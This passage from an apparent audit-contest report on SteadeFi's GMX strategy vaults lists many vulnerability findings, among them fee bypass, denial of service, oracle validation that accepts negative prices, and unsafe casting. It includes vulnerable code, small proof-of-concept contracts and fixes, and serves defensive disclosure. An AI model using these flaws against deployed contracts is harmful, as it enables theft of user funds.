self.vault.mint(self.depositCache.user, self.depositCache.sharesToUser); ///<------------- @audit
...
Within the GMXDeposit#processDeposit() above, the amount of the fee-minted in the form of the shares (svTokens) via the GMXDeposit#mintFee() is supposed to be subtracted from the amount of the shares to be minted to the GMXVault's depositor via the GMXDeposit#processDeposit().
However, there is no logic to subtract the amount of the fee-minted in the form of the shares (svTokens) via the GMXDeposit#mintFee() from the amount of the shares to be minted to the GMXVault's depositor in the form of the shares (svTokens) via the GMXDeposit#processDeposit().
The depositor could receive the amount of the shares (svTokens), which the amount of the fee-minted in the form of the shares (svTokens) via the GMXDeposit#mintFee() was not subtracted.
This means that a depositor of the GMXVault can bypass paying the fee when the depositor deposit into the GMXVault.
Within the GMXDeposit#processDeposit(), consider adding a logic to subtract the amount of the fee-minted in the form of the shares (svTokens) via the GMXDeposit#mintFee() from the amount of the shares to be minted to the GMXVault's depositor in the form of the shares (svTokens) via the GMXDeposit#processDeposit().
Submitted by innertia.
At the deposit stage, large minSharesAmt are not checked and the status of the contract is changed to Deposit. However, it will be checked at the next stage of processDeposit, which can lead to a failure without fail. Since the status change affects the entire contract, a large number of malicious Deposits can disrupt the normal progress of business.
The uint256 minSharesAmt in DepositParams can be determined by the user at Deposit time. By setting this to a large value, while successfully changing state to Deposit, the following checks cannot be broken through in subsequent phases, and the transaction will fail.
if (
self.depositCache.sharesToUser <
self.depositCache.depositParams.minSharesAmt
) revert Errors.InsufficientSharesMinted();
}
Disrupts normal business operations by issuing malicious Deposits in large quantities
Manual
Set a realistic upper limit on minSharesAmt.
svTokenValue function can return overestimated value of each strategy vault share tokenSubmitted by pontifex.
The GMXReader.svTokenValue function can return overestimated value of each strategy vault share token due to outdated totalSupply, i.e. without including pending management fees for a long period. This issue can cause the protocol unexpected behavior while keepers provide rebalance and when other protocols receive information about shares value.
The svTokenValue function calculates the value of each strategy vault share token with the current amount of totalSupply, which may not include pending management fees:
function svTokenValue(GMXTypes.Store storage self) public view returns (uint256) {
uint256 equityValue_ = equityValue(self);
uint256 totalSupply_ = IERC20(address(self.vault)).totalSupply();
if (equityValue_ == 0 || totalSupply_ == 0) return SAFE_MULTIPLIER;
return equityValue_ * SAFE_MULTIPLIER / totalSupply_;
}
So the returned share value will be overestimated. The longer the period since the last mintFee was called the more overestimated shares value is.
The GMXReader.svTokenValue function returns an overestimated value of the share token. This issue can cause the protocol unexpected behavior while keepers provide rebalance and when other protocols receive information about the shares value.
Manual Review
Consider adding pendingFee to the totalSupply:
function svTokenValue(GMXTypes.Store storage self) public view returns (uint256) {
uint256 equityValue_ = equityValue(self);
uint256 totalSupply_ = IERC20(address(self.vault)).totalSupply();
if (equityValue_ == 0 || totalSupply_ == 0) return SAFE_MULTIPLIER;
- return equityValue_ * SAFE_MULTIPLIER / totalSupply_;
+ return equityValue_ * SAFE_MULTIPLIER / (totalSupply_ + pendingFee(self));
}
Submitted by inzinko.
The state of the vault, in the context of the steadefi strategy vaults is one of the most critical aspect of the operations of the protocol, as they determine what the vault is actually doing at a particular time, also this vault state determines the success of the after checks, after and before every type of transactions, to determine if the transactions should fail or succeed. So if the state of the vault should be stuck it could be fatal to the functionality of the protocol. And this is exactly what happened when a Lending vault can indirectly hold all vault Interacting with it a halt.
This issue will happen at some specific combination of actions from both the Strategy Vaults and the Lending Vault, causing the state of the Vault to be stuck, let's explore this further with an illustration of how the event can affect the state
User tries to withdraw their tokens from the GMX Vaults, and for some reason like checking the health of the vaults, the action fails, and it goes into the processWithdrawalFailure Flow
In the failure withdrawal failure processing flow, it immediately tries to borrow back the same amount it just repaid back to the lending vaults, to roll back its actions and return the total assets back to GMX
// Re-borrow assets based on the repaid amount
GMXManager.borrow(
self,
self.withdrawCache.repayParams.repayTokenAAmt,
self.withdrawCache.repayParams.repayTokenBAmt
);
At this point the state of the vault is GMXTypes.Status.Withdraw_Failed, to show that the vault is in a failed withdrawal state
Now This exact point is where the Stuck state can happen
When the function tries to borrow again from the vault, they are some unknown factor that could determine if that action will succeed,
First, is actually if the Lending Vault is in a paused state, or some kind of restriction placed on borrowing from it.
But this is exactly what made this Vulnerability Happen, The fact that a user could repay a loan to a restricted/paused vault but cannot borrow back from them, put a full stop to the actions the vault wants to roll back.
function repay(uint256 repayAmt) external nonReentrant {
When this happens the function reverts, because lack of access to borrow, but the whole step does not, to roll back the state of the vault, because this is a two step transaction
function borrow(uint256 borrowAmt) external nonReentrant whenNotPaused onlyBorrower {
Which Cause a Stuck State, But this stuck state is more fatal, as the different Vaults that borrow from this particular Lending Vaults can be held By the Leverage Vaults Ability to resume/Remove the restrictions as to complete their functions.
The Impact of this Kind of vulnerability is pretty clear, the fact that the state determines the actions that could be performed in this vault, means it not functioning as expected could lead to a complete halt, in the activities of the vault
Manual Review
My Recommendation is that the code should be refactored in a way that the users can still borrow back the same money they just made, this will take into account the two step transactions it takes to complete a single action. But this kind of decision also needs to take in the design choices of the Lending Vault into consideration to achieve a clear path to mitigation.
Submitted by SBSecurity.
Before a rebalance can occur, checks are implemented to ensure that delta and debtRatio remain within their specified limits. However, it's important to note that the check in GMXChecks::beforeRebalanceChecks ignores the scenario where these values are equal to any of their limits.
In the current implementation of the GMXRebalance::rebalanceAdd function, it first calculates the current values of debtRatio and delta before making any changes. Subsequently, the beforeRebalanceChecks function, checks if these values meet the requirements for a rebalance to occur. These requirements now dictate that both debtRatio and delta must be either ≥ to the UpperLimit, or ≤ to the LowerLimit for a rebalance to take place.
function beforeRebalanceChecks(
GMXTypes.Store storage self,
GMXTypes.RebalanceType rebalanceType
) external view {
if (
self.status != GMXTypes.Status.Open &&
self.status != GMXTypes.Status.Rebalance_Open
) revert Errors.NotAllowedInCurrentVaultStatus();
// Check that rebalance type is Delta or Debt
// And then check that rebalance conditions are met
// Note that Delta rebalancing requires vault's delta strategy to be Neutral as well
if (rebalanceType == GMXTypes.RebalanceType.Delta && self.delta == GMXTypes.Delta.Neutral) {
if (
self.rebalanceCache.healthParams.deltaBefore < self.deltaUpperLimit &&
self.rebalanceCache.healthParams.deltaBefore > self.deltaLowerLimit
) revert Errors.InvalidRebalancePreConditions();
} else if (rebalanceType == GMXTypes.RebalanceType.Debt) {
if (
self.rebalanceCache.healthParams.debtRatioBefore < self.debtRatioUpperLimit &&
self.rebalanceCache.healthParams.debtRatioBefore > self.debtRatioLowerLimit
) revert Errors.InvalidRebalancePreConditions();
} else {
revert Errors.InvalidRebalanceParameters();
}
}
Suppose a rebalance is successful. In the afterRebalanceChecks section, the code verifies whether both delta and debtRatio are greater than the UpperLimit or less than the LowerLimit. This confirmation implies that these limits are indeed inclusive, meaning that the correct interpretation of these limits should be that LowerLimit ≤ actualValue ≤ UpperLimit. On the other hand, this also indicates that for a rebalancing to occur, the values of deltaBefore and debtRatioBefore need to be outside their limits, i.e., delta should be greater than Upper or less than Lower. However, in the current implementation, if these values are equal to the limit, a rebalance may still occur, which violates the consistency of the afterRebalanceChecks function, thus indicating that these limits are inclusive. Consequently, a value equal to the limit needs to be treated as valid and not be able to trigger a rebalance.
function afterRebalanceChecks(
GMXTypes.Store storage self
) external view {
// Guards: check that delta is within limits for Neutral strategy
if (self.delta == GMXTypes.Delta.Neutral) {
int256 _delta = GMXReader.delta(self);
if (
_delta > self.deltaUpperLimit ||
_delta < self.deltaLowerLimit
) revert Errors.InvalidDelta();
}
// Guards: check that debt is within limits for Long/Neutral strategy
uint256 _debtRatio = GMXReader.debtRatio(self);
if (
_debtRatio > self.debtRatioUpperLimit ||
_debtRatio < self.debtRatioLowerLimit
) revert Errors.InvalidDebtRatio();
}
Imagine the case when delta or debtRatio is equal to any of its limits; a rebalance will occur. However, on the other hand, these values are valid because they are inclusively within the limits.
In such a scenario, the system might incorrectly trigger a rebalance of the vault, even when delta or debtRatio is precisely within the established limits, thus potentially causing unintended rebalancing actions.
Manual
Consider a strict check to determine if delta or debtRatio is strictly within its limits, including scenarios where they are equal to any of its limits. In such cases, the code should ensure that a rebalance does not occur when these values are precisely at the limit.
function beforeRebalanceChecks(
GMXTypes.Store storage self,
GMXTypes.RebalanceType rebalanceType
) external view {
if (
self.status != GMXTypes.Status.Open &&
self.status != GMXTypes.Status.Rebalance_Open
) revert Errors.NotAllowedInCurrentVaultStatus();
// Check that rebalance type is Delta or Debt
// And then check that rebalance conditions are met
// Note that Delta rebalancing requires vault's delta strategy to be Neutral as well
if (rebalanceType == GMXTypes.RebalanceType.Delta && self.delta == GMXTypes.Delta.Neutral) {
if (
- self.rebalanceCache.healthParams.deltaBefore < self.deltaUpperLimit &&
- self.rebalanceCache.healthParams.deltaBefore > self.deltaLowerLimit
+ self.rebalanceCache.healthParams.deltaBefore <= self.deltaUpperLimit &&
+ self.rebalanceCache.healthParams.deltaBefore >= self.deltaLowerLimit
) revert Errors.InvalidRebalancePreConditions();
} else if (rebalanceType == GMXTypes.RebalanceType.Debt) {
if (
- self.rebalanceCache.healthParams.debtRatioBefore < self.debtRatioUpperLimit &&
- self.rebalanceCache.healthParams.debtRatioBefore > self.debtRatioLowerLimit
+ self.rebalanceCache.healthParams.debtRatioBefore <= self.debtRatioUpperLimit &&
+ self.rebalanceCache.healthParams.debtRatioBefore >= self.debtRatioLowerLimit
) revert Errors.InvalidRebalancePreConditions();
} else {
revert Errors.InvalidRebalanceParameters();
}
}
Submitted by Timenov, hunterw3b, Obin, SBSecurity, DarkTower , mylifechangefast, SanketKogekar. Selected submission by: SBSecurity.
There are functions that don’t emit events.
Functions:
GMXDeposit::processDepositFailure
GMXCompound::compound
GMXEmergency::emergencyResume
GMXManager::borrow
GMXManager::repay
GMXRebalance::rebalanceAdd
GMXRebalance::rebalanceRemove
GMXVault::mintFee
GMXWithdraw::processWithdrawFailure
GMXWorker::addLiquidity
GMXWorker::removeLiquidity
GMXWorker::swapExactTokensForTokens
GMXWorker::swapTokensForExactTokens
External users, frontend, or blockchain monitoring won’t announce for these critical functions.
Manual
Add events where possible for critical operations.
Submitted by SBSecurity.
There are checks that revert with wrong errors
Reverts:
File: contracts/strategy/gmx/GMXChecks.sol
// Should be Errors.EmptyDepositAmount
68: if (self.depositCache.depositParams.amt == 0)
revert Errors.InsufficientDepositAmount();
// Should be Errors.EmptyDepositAmount
74: if (depositValue == 0)
revert Errors.InsufficientDepositAmount();
// Should be Errors.EmptyDepositAmount
351: if (self.compoundCache.depositValue == 0)
revert Errors.InsufficientDepositAmount();
This can lead to user confusion as they won't receive the accurate revert reason.
Manual
Consider using Errors.EmptyDepositAmount for the provided cases.
Submitted by ro1sharkm, SupaRoutis, Jeffauditor. Selected submission by: ro1sharkm.
Users who accumulate more than 2^96 UNI tokens may lose their tokens because transfers above that will always revert.
The UNI token contract imposes a transfer limit, restricting the maximum amount of tokens that can be transferred in a single transaction to 2^96 UNI tokens. Any transfer exceeding this threshold will trigger a transaction revert. The contract relies on the balanceOf function to verify the sender's token balance before proceeding with a transfer.
self.tokenA.safeTransfer(self.withdrawCache.user, self.tokenA.balanceOf(address(this)));
such a transfer will always revert for balances above 2^96 UNI tokens
https://github.com/d-xo/weird-erc20#revert-on-large-approvals--transfers
Users who accumulate more than 2^96 UNI tokens may lose their tokens due to a DOS revert when attempting to withdraw their token balance.
https://github.com/d-xo/weird-erc20#revert-on-large-approvals--transfers
Contracts should always check the amount of UNI being transferred before processing the transaction.
Submitted by asimaranov, 0xhals, ZedBlockchain, pina, MaanVader, Rozzo, SupaRoutis, ak1, arnie, nervouspika, ZanyBonzy. Selected submission by: pina.
https://github.com/Cyfrin/2023-10-SteadeFi/blob/main/contracts/oracles/ChainlinkARBOracle.sol#L119
When the consultIn18Decimals() is called, can be returned a negative value. Because not exist correct validation for negative response.
The ChainlinkARBOracle.sol has to garantie delivered correct price. Howerver exist a potencial scenario of this situation may be breaking.
Lets break each one part of this scenario:
consultIn18Decimals() is called, and call to consult() this function is encharge of verifie each answer and delivere a price not old, not zero,non-negative and garantie of sequencer is up.consult() for the moment, we have:
chainlinkResponse.answer = x where x > 0
prevChainlinkResponse.answer = y where y < 0 This is a negative value given by Chainlink_chainlinkIsFrozen() is pass correctly_chainlinkIsBroken(chainlinkResponse, prevChainlinkResponse, token) evaluate the following functions:
_badChainlinkResponse(currentResponse) pass correctly._badChainlinkResponse(prevResponse) pass also correctly because is only check if the value is zero, but not negative
see : if (response.answer == 0) { return true; }if( currentResponse.answer > prevResponse.answer) remember currentResponse.answer = x where x > 0 and prevResponse.answer = y where y < 0 So. x > y . This condition is passed successfully.._deviation we have:
_deviation = uint256(currentResponse.answer - prevResponse.answer) * SAFE_MULTIPLIER / uint256(prevResponse.answer); The result will always return zero. So validation on _badPriceDeviationof_deviation > maxDeviations[token]always returnsfalsebecause zero can never be greater for any number ofmaxDeviations[token]since it only accepts numbers of typeuint256 `This scenario is illustrated in a minimalist example, which you can use in Remix:
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.21;
import { SafeCast } from "@openzeppelin/contracts/utils/math/SafeCast.sol";
error BrokenTokenPriceFeed();
contract PassWithNegativePrice {
using SafeCast for int256;
uint256 public maxDeviations;
int256 public currentResponse;
int256 public prevResponse;
uint8 public decimal;
constructor(int256 _currentResponse, int256 _prevResponse, uint8 _decimal,uint256 _maxDeviation ) {
currentResponse = _currentResponse; // _currentResponse > 0 e.g. 2000, 3, 90000000000000
prevResponse = _prevResponse; // _prevResponse < 0 e.g. -3000, -1
decimal = _decimal; // _decimal can be 8, 18
maxDeviations = _maxDeviation; // any value
}
// You call this function, result is currentResponse but doesn't matter maxDeviations value
function consultIn18Decimals() external view returns (uint256) {
(int256 _answer, uint8 _decimals) = consult();
return _answer.toUint256() * 1e18 / (10 ** _decimals);
}
function consult() internal view returns (int256, uint8) {
if (_badPriceDeviation(currentResponse, prevResponse) )revert BrokenTokenPriceFeed();
return (currentResponse, decimal);
}
function _badPriceDeviation(int256 _currentResponse, int256 _prevResponse ) internal view returns (bool) {
// Check for a deviation that is too large
uint256 _deviation;
if (_currentResponse > _prevResponse) { // Here is our scene, always result be zero with negative value of _prevResponse
_deviation = uint256(_currentResponse - _prevResponse) * 1e18 / uint256(_prevResponse);
} else {
_deviation = uint256(_prevResponse - _currentResponse) * 1e18 / uint256(_prevResponse);
}
return _deviation > maxDeviations;
}
}
High, the base protocol is how you get the price of the securities. The answer may be different than what is allowed. Because the maximum deviations will not be counted.
This behavior can be mitigated by setting the correct conditional:
if (response.answer <= 0) { return true; }
Also,due of only consultIn18Decimals() is the function that is called for the protocol. Visibility to "consult" may be restricted. Change from "public" to "internal".
GMXOracle::_getTokenPriceMinMaxFormattedSubmitted by DarkTower .
https://github.com/Cyfrin/2023-10-SteadeFi/blob/main/contracts/oracles/GMXOracle.sol#L311
The function GMXOracle::_getTokenPriceMinMaxFormatted in line#314 have converted the int256 result from Chainlink Oracle to uint256. Converting int256 to uint256 can have unexpected consequences when done unsafely.
The function GMXOracle::_getTokenPriceMinMaxFormatted in line#314 have converted the int256 result from Chainlink Oracle to uint256. Converting int256 to uint256 can have unexpected consequences when done unsafely.
function _getTokenPriceMinMaxFormatted(address token) internal view returns (uint256) {
(int256 _price, uint8 _priceDecimals) = chainlinkOracle.consult(token);
@> return uint256(_price) * 10 ** (30 - IERC20Metadata(token).decimals() - _priceDecimals);
}
We are providing a similar scenario that can be reproduced in Remix:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
contract TestUnsafeCasting {
function testUpsafeCasting(int256 x) public pure returns (uint256) {
return uint256(x);
}
}
In this case, when we input -23 as input to the function testUnsafeCasting, it returns 115792089237316195423570985008687907853269984665640564039457584007913129639913 because of unsafe casting from int256 to uint256.
Protocol may experience unexpected output from the function GMXOracle::_getTokenPriceMinMaxFormatted
Manual Review, Remix
Use Openzeppelin SafeCast Library.
Submitted by Citris, FalconHoof. Selected submission by: Citris.
https://github.com/Cyfrin/2023-10-SteadeFi/blob/main/contracts/oracles/GMXOracle.sol#L134
getsAmountsIn in GMXOracle hardcoded 15e14(15bps) for amountsIn would gives wrong amountsIn since GMX market has dynamic impact fee.
With Reference to GMXv2, they have an impact pool which holds the fund collected from depositor who deposit on the imbalanced side of the market, namely a bigger cumulative vritualBalance. The fee is also documented here
MarketUtils.distributePositionImpactPool(
params.dataStore,
params.eventEmitter,
market.marketToken
);
Therefore the getsAmountIn may not be sufficient for the deposit/rebalance, if the the rebalance is done in a while that is against the incurred impact price fee.
getsAmountsIn hardcoded 15bps for buffer which may not be representative of the dynamic fee implemented in GMXv2.
ImpactPrice calculation can be imported from the PricingUtil.sol in GMXv2 repo.
There is a script to calculate/verify the impact against tradeSize off-chain here
Submitted by Timenov, 0xMilenov, SAQ. Selected submission by: Timenov.
The decimals function is optional in the initial ERC20 and might fail for old tokens that do not implement it.
Manual Review
Here is an example of how to fix the issue:
convertToUsdValue calculation on tokens that have more than 18 decimal placesSubmitted by asimaranov, 0xhals, tychaios, jprod15. Selected submission by: tychaios.
In GMXReader.sol:67, the function convertToUsdValue is designed to calculate the market value of a given amount of tokens. However, the function assumes that all tokens operate with 18 or fewer decimal places. The code uses a fixed subtraction method (18 - IERC20Metadata(token).decimals()) that will revert if a token has more than 18 decimal places, thus breaking the calculation.
The impact of this vulnerability is low in terms of probability due to the rarity of tokens with more than 18 decimals, but if such a token were used, it would render the calculation and consequently the function inoperable.
Manual Review
To safely normalize the amt to 18 decimal places, the calculation should be adjusted as follows:
return (amt * self.chainlinkOracle.consultIn18Decimals(token)) / (10 ** IERC20Metadata(token).decimals());
minAnswerSubmitted by Madalad, MaanVader, hunterw3b, ZedBlockchain. Selected submission by: Madalad.
https://github.com/Cyfrin/2023-10-SteadeFi/blob/main/contracts/oracles/ChainlinkARBOracle.sol#L188
Chainlink aggregators have a built in circuit breaker if the price of an asset goes outside of a predetermined price band. The result is that if an asset experiences a huge drop in value (i.e. LUNA crash) the price of the oracle will continue to return the minAnswer instead of the actual price of the asset.
Chainlink's latestRoundData pulls the associated aggregator and requests round data from it. ChainlinkAggregators have minAnswer and maxAnswer circuit breakers built into them. This means that if the price of the asset drops below the minAnswer, the protocol will continue to value the token at minAnswer instead of it's actual value. This will result in the asset being priced incorrectly, allowing exploitation such as undercollateralized loans or unfair liquidations.
This discrepency could cause major issues within the protocol and potentially lead to loss of funds. This is exactly what happened to Venus on BSC when LUNA imploded.
Manual review
Add a check that reverts if the price received from the oracle is out of bounds, as is recommended in Chainlink's documentation.
Submitted by nmirchev8.
I would suggest to always erase data, which was for an action already executed.
We use a cache to store the arguments for an action, because of the two transactions pattern used by GMX and so in the second transaction we reference the cache from the first. However, best practice is to erase an object once we have finished with it.
As I could not find any path that could exploit this, I am rating it as low, but this could be a root cause with something else to abuse old data. And this could be prevented.
Manual Review
After the end of each of the actions that are using cache, delete this cache, so it is impossible to exploit old data in some creative way.
Submitted by FalconHoof.
https://github.com/Cyfrin/2023-10-SteadeFi/blob/main/README.md#compatibilities
https://github.com/Cyfrin/2023-10-SteadeFi/blob/main/contracts/oracles/GMXOracle.sol#L62-70
https://github.com/Cyfrin/2023-10-SteadeFi/blob/main/contracts/oracles/GMXOracle.sol#L194-214
https://github.com/Cyfrin/2023-10-SteadeFi/blob/main/contracts/oracles/GMXOracle.sol#L311-315
Chainlink does not provide a price feed for SOL token on Avalanche.
One of the in-scope tokens SOL on the Avalanche blockchain (see README.md) does not have a corresponding Chainlink pricefeed which makes pricing impossible as currently designed.
See available Chainlink pricefeeds here
Price Feeds are not set in the constructor of GMXVault.sol so it is possible that the Strategy Vault could be deployed before the missing price feed was noticed.
This issue affects some core protocol functions, which would make the core operations of a Strategy Vault using SOL on Avalanche impossible:
GMXReader.sol::convertToUsdValue()
GMXReader.sol::delta()
GMXOracle.sol::_getTokenPriceMinMaxFormatted()
Manual Review
Use another Oracle for pricing SOL or remove SOL from the scope of eligible tokens on the AValanche chain.
Submitted by 0xanmol, MrjoryStewartBaxter, ZedBlockchain, 0xmuxyz, Bauer, Rozzo, 0xRizwan. Selected submission by: MrjoryStewartBaxter.
In certain exceptional scenarios, oracles may become temporarily unavailable. As a result, invoking the latestRoundData function could potentially revert without a proper error handling.
Steadefi documentation gives special focus on Chainlink price feed dependency, (https://github.com/Cyfrin/2023-10-SteadeFi/tree/main "Additional Context"). The concern stems from the potential for Chainlink multisignature entities to deliberately block the access to the price feed. In such a situation, using the latestRoundData function could lead to an unexpected revert.
In certain extraordinary situations, Chainlink has already proactively suspended particular oracles. To illustrate, in the case of the UST collapse incident, Chainlink chose to temporarily halt the UST/ETH price oracle to prevent the propagation of incorrect data to various protocols.
Additionally, this danger has been highlighted and very well documented by OpenZeppelin in https://blog.openzeppelin.com/secure-smart-contract-guidelines-the-dangers-of-price-oracles. For our current scenario:
"While currently there’s no whitelisting mechanism to allow or disallow contracts from reading prices, powerful multisigs can tighten these access controls. In other words, the multisigs can immediately block access to price feeds at will. Therefore, to prevent denial of service scenarios, it is recommended to query ChainLink price feeds using a defensive approach with Solidity’s try/catch structure. In this way, if the call to the price feed fails, the caller contract is still in control and can handle any errors safely and explicitly".
As a result and taking into consideration the recommendation from OpenZepplin, it is essential to thoroughly tackle this matter within the codebase, as it directly relates to many functionalities of the system which are based on the oracle's output.
Another example to check this vulnerability can be consulted in https://solodit.xyz/issues/m-18-protocols-usability-becomes-very-limited-when-access-to-chainlink-oracle-data-feed-is-blocked-code4rena-inverse-finance-inverse-finance-contest-git
As previously discussed, to mitigate the potential risks related to a denial-of-service situation, it is recommended to implement a try-catch mechanism when querying Chainlink prices in the _getChainlinkResponse function within ChainlinkARBOracle.sol (link to code below). By adopting this approach, in case there's a failure in invoking the price feed, the caller contract retains control and can effectively handle any errors securely and explicitly.
(
uint80 _latestRoundId,
int256 _latestAnswer,
/* uint256 _startedAt */,
uint256 _latestTimestamp,
/* uint80 _answeredInRound */
) = AggregatorV3Interface(_feed).latestRoundData();
In the event of a malfunction or cessation of operation of a configured Oracle feed, attempting to check for the latestRoundData will result in a revert that must be managed manually by the system.
Manual review
Wrap the invocation of the latestRoundData() function within a try-catch structure rather than directly calling it. In situations where the function call triggers a revert, the catch block can be utilized to trigger an alternative oracle or handle the error in a manner that aligns with the system's requirements.
processDeposit() can cause a DoS if equityAfter is 0 and equityBefore > 0.Submitted by 0xanmol.
When minting the user's gvToken in ProcessDeposit.sol, if equityAfter is 0 and equityBefore is a positive number, an evmRevert will occur due to arithmetic underflow.
The calculation for minting the user's gvToken (share token) after the user deposits into the vault is based on the equity value of the vault.
function processDeposit(
GMXTypes.Store storage self
) external {
self.depositCache.healthParams.equityAfter = GMXReader.equityValue(self);
self.depositCache.sharesToUser = GMXReader.valueToShares(
self,
//@audit if equityAfter is 0 this can cause evmRevert with arithmetic underflow
self.depositCache.healthParams.equityAfter - self.depositCache.healthParams.equityBefore,
self.depositCache.healthParams.equityBefore
);
GMXChecks.afterDepositChecks(self);
}
If we examine the equity value calculation, it is simply the difference between the GM token value and the total debt value. If the equity value is less than the debt, the function returns 0 to avoid underflow within the function.
function equityValue(GMXTypes.Store storage self) public view returns (uint256) {
(uint256 _tokenADebtAmt, uint256 _tokenBDebtAmt) = debtAmt(self);
uint256 assetValue_ = assetValue(self); //total value of GM held by vault
uint256 _debtValue = convertToUsdValue(self, address(self.tokenA), _tokenADebtAmt)
+ convertToUsdValue(self, address(self.tokenB), _tokenBDebtAmt); //debt taken from lending vault
// in underflow condition return 0
unchecked {
if (assetValue_ < _debtValue) return 0; //@audit returns 0 if debt > equity
return assetValue_ - _debtValue;
}
}
After a deposit, if _debtValue is less than assetValue, then equityValue will return 0. This value is used in the processDeposit function, so 0 - equityBefore will always result in an underflow, causing a DoS of the system.
The severity of this issue depends on the GM token value and the debt value of the vault. If the debt is greater, for example, for 10 days, the vault will be unusable for 10 days.
DoS of the system until assetValue > _debtValue.
manual review
Do not allow the deposit if debt > equity until the rebalance has occurred.
Submitted by rvierdiiev.
ChainlinkARBOracle.consult will revert phase id was increased for chainlink aggregator, because wrong round will be requested instead of previous one.
In order to validate chainlink price ChainlinkARBOracle fetched answer for current and previous rounds.
In order to get the previous round, roundId from current response is used. So just roundId - 1 is requested.
Round id in the chainlink consists of phaseId and aggregatorRoundId. In case if new aggregator is used, then phaseId is increased.
So the problem occurs when new aggregator is used and it has only the first round. Then roundId - 1 will not point to the last round of the previous aggregator, but it will be an incorrect round. As a result wrong answer will be returned and the call will likely revert.
Call will revert as price will not be validated.
VsCode
It can be really complicated fix, where you need to parse roundId to know if phase was changed. I am not sure it worth it.
Submitted by FundsSafu.
In order to activate the emergency withdrawals, the vault needs to reach the CLOSED status. If the vault fails to do so, users won't be able to withdraw their funds.
Users have the ability to call emergencyWithdraw method in order to retrieve their funds when the vault is CLOSED link1. However to reach this status, the vault needs to be paused first by the owners and then the emergencyClose needs to be called link2.
However the emergencyClose has many possible points of failure since it does many external calls:
1- calls the lending contract to calculate debt and repay it link3 link4 link5 link 6
2- calls a swap router if a trade is needed link6 (can revert for example if the uniswap router does not provide enough tokenOut when given a fix amount of tokenIn).
If any of these calls fail, the vault status will remain at PAUSED.
Users cannot retrieve their funds after the pause unless all the external contracts done in emergencyClose work as expected and all the debt have been cleared.
Use a time limit after pausing the vault that allows anyone to CLOSE the vault without doing any external calls inside the method.
Example:
function emergencyClose(
GMXTypes.Store storage self,
uint256 deadline
) external {
GMXChecks.beforeEmergencyCloseChecks(self);
if(block.timestamp < self.pauseTimestamp + CLOSE_MAX_DURATION) {
// Repay all borrowed assets; 1e18 == 100% shareRatio to repay
GMXTypes.RepayParams memory _rp;
(
_rp.repayTokenAAmt,
_rp.repayTokenBAmt
) = GMXManager.calcRepay(self, 1e18);
(
bool _swapNeeded,
address _tokenFrom,
address _tokenTo,
uint256 _tokenToAmt
) = GMXManager.calcSwapForRepay(self, _rp);
if (_swapNeeded) {
ISwap.SwapParams memory _sp;
_sp.tokenIn = _tokenFrom;
_sp.tokenOut = _tokenTo;
_sp.amountIn = IERC20(_tokenFrom).balanceOf(address(this));
_sp.amountOut = _tokenToAmt;
_sp.slippage = self.minSlippage;
_sp.deadline = deadline;
GMXManager.swapTokensForExactTokens(self, _sp);
}
GMXManager.repay(
self,
_rp.repayTokenAAmt,
_rp.repayTokenBAmt
);
self.status = GMXTypes.Status.Closed;
emit EmergencyClose(
_rp.repayTokenAAmt,
_rp.repayTokenBAmt
);
} else {
self.status = GMXTypes.Status.Closed;
emit EmergencyClose(
0,
0
);
}
}
getLpTokenAmount icorrectly assumes that the returned price is in 18 decimal places. But it is 30 decimal places.Submitted by ak1.
GMXOracle oracle has a function getLpTokenAmount which is in scope. This is Used in keeper script to calculate how much LP tokens for given USD value.
This function returns the lpTokenAmount with 30 decimal places instead of 18 as the function assumes.
Lets look at the function getLpTokenAmount
/**
* @notice Get token A and token B's LP token amount required for a given value
* @param givenValue Given value needed, expressed in 1e30 -------------------------->> refer this
* @param marketToken LP token address
* @param indexToken Index token address
* @param longToken Long token address
* @param shortToken Short token address
* @param isDeposit Boolean for deposit or withdrawal
* @param maximize Boolean for minimum or maximum price
* @return lpTokenAmount Amount of LP tokens; expressed in 1e18 -------------->>> refer this
*/
function getLpTokenAmount(
uint256 givenValue,
address marketToken,
address indexToken,
address longToken,
address shortToken,
bool isDeposit,
bool maximize
) public view returns (uint256) {
uint256 _lpTokenValue = getLpTokenValue(
marketToken,
indexToken,
longToken,
shortToken,
isDeposit,
maximize
);
return givenValue * SAFE_MULTIPLIER / _lpTokenValue;
}
SAFE_MULTIPLIER is in 18 decimal places.
The values returned from the function _lpTokenValue is in 18 decimal places. Refer the line
So the final returned value from the function getLpTokenAmount is (1e30 * 1e18) / 1e18 = 1e30
Overestimating the lpToken amount for the given USD value.
Manual review.
Update the function getLpTokenAmount as shown below.
function getLpTokenAmount(
uint256 givenValue,
address marketToken,
address indexToken,
address longToken,
address shortToken,
bool isDeposit,
bool maximize
) public view returns (uint256) {
uint256 _lpTokenValue = getLpTokenValue(
marketToken,
indexToken,
longToken,
shortToken,
isDeposit,
maximize
);
return givenValue * SAFE_MULTIPLIER / _lpTokenValue; ------>> remove
return (givenValue * SAFE_MULTIPLIER) / (_lpTokenValue * 1e12); ---->> add
}
Submitted by arnie.
USDC is not valued correctly in case of a depeg, which causes a loss of funds.
The protocol uses a chainlink feed to get prices of a specific token. In this case the token of interest is USDC which is a stable coin. Let us get some context for this issue, from the GMX V2 documentation we can read the following:
In case the price of a stablecoin depegs from 1 USD: To ensure that profits for all short positions can always be fully paid out, the contracts will pay out profits in the stablecoin based on a price of 1 USD or the current Chainlink price for the stablecoin, whichever is higher. For swaps using the depegged stablecoin, a spread from 1 USD to the Chainlink price of the stablecoin will apply. If Chainlink Data Stream prices are used then the spread would be from the data stream and may not be to 1 USD.
https://gmx-docs.io/docs/trading/v2
From the above snippet we now know that gmx will never value USDC below 1$ when closing a short or withdrawing from a position, and that gmx uses the spread from 1 usd to the chainlink price is used. The problem here is that Steadefi does not account for this and will continue to use the chainlink price of usdc in a withdraw and swap when calculating the appropriate slippage amount. Let me demonstrate.
function consult(address token) public view whenNotPaused returns (int256, uint8) {
address _feed = feeds[token];
if (_feed == address(0)) revert Errors.NoTokenPriceFeedAvailable();
ChainlinkResponse memory chainlinkResponse = _getChainlinkResponse(_feed);
ChainlinkResponse memory prevChainlinkResponse = _getPrevChainlinkResponse(_feed, chainlinkResponse.roundId);
if (_chainlinkIsFrozen(chainlinkResponse, token)) revert Errors.FrozenTokenPriceFeed();
if (_chainlinkIsBroken(chainlinkResponse, prevChainlinkResponse, token)) revert Errors.BrokenTokenPriceFeed();
return (chainlinkResponse.answer, chainlinkResponse.decimals);
}
